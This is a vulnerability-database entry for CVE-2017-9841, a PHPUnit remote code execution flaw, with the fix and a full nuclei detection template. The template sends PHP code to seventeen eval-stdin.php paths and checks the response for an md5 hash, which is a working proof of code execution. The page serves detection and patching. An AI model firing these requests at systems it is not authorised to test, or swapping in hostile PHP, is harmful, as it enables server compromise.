HexBrain

Browse / CVEs / CVE-2017-9841

CVE-2017-9841· phpunit project / phpunit· CWE-94

PHPUnit - Remote Code Execution

Exploited in the wild. Listed by CISA on 2022-02-15; known to be used by ransomware.

criticalseverity
9.8CVSS score
100%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring via Util/PHP/eval-stdin.php , as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI.

Impact

Remote attackers can execute arbitrary PHP code on the server, leading to full system compromise.

Fix

Upgrade to PHPUnit version 5.7.21 or 6.1.6 or later.

How to confirm it

Send: GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php ; GET /vendor/phpunit/src/Util/PHP/eval-stdin.php ; GET /vendor/phpunit/Util/PHP/eval-stdin.php ; GET /phpunit/phpunit/src/Util/PHP/eval-stdin.php ; GET /phpunit/phpunit/Util/PHP/eval-stdin.php
Positive when: contains "{{md5(string)}}" AND status 200

Run it with nuclei: nuclei -id CVE-2017-9841 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2017-9841

info:
  name: PHPUnit - Remote Code Execution
  author: Random_Robbie,pikpikcu
  severity: critical
  description: PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring via Util/PHP/eval-stdin.php , as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI.
  impact: |
    Remote attackers can execute arbitrary PHP code on the server, leading to full system compromise.
  remediation: |
    Upgrade to PHPUnit version 5.7.21 or 6.1.6 or later.
  reference:
    - https://github.com/cyberharsh/Php-unit-CVE-2017-9841
    - https://github.com/RandomRobbieBF/phpunit-brute
    - https://thephp.cc/articles/phpunit-a-security-risk
    - https://twitter.com/sec715/status/1411517028012158976
    - https://nvd.nist.gov/vuln/detail/CVE-2017-9841
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-9841
    cwe-id: CWE-94
    epss-score: 0.99999
    epss-percentile: 0.99994
    cpe: cpe:2.3:a:phpunit_project:phpunit:*:*:*:*:*:*:*:*
  metadata:
    max-request: 6
    vendor: phpunit_project
    product: phpunit
  tags: cve2017,cve,php,phpunit,rce,kev,phpunit_project,vkev,vuln

variables:
  string: "CVE-2017-9841"

http:
  - raw:
      - |
        GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5("{{string}}");?>
      - |
        GET /vendor/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5("{{string}}");?>
      - |
        GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5("{{string}}");?>
      - |
        GET /phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5("{{string}}");?>
      - |
        GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5("{{string}}");?>
      - |
        GET /phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5("{{string}}");?>
      - |
        GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5("{{string}}");?>
      - |
        GET /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5("{{string}}");?>
      - |
        GET /lib/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5("{{string}}");?>
      - |
        GET /lib/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5("{{string}}");?>
      - |
        GET /lib/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5("{{string}}");?>
      - |
        GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5("{{string}}");?>
      - |
        GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5("{{string}}");?>
      - |
        GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5("{{string}}");?>
      - |
        GET /laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5("{{string}}");?>
      - |
        GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5("{{string}}");?>
      - |
        GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5("{{string}}");?>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(string)}}'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from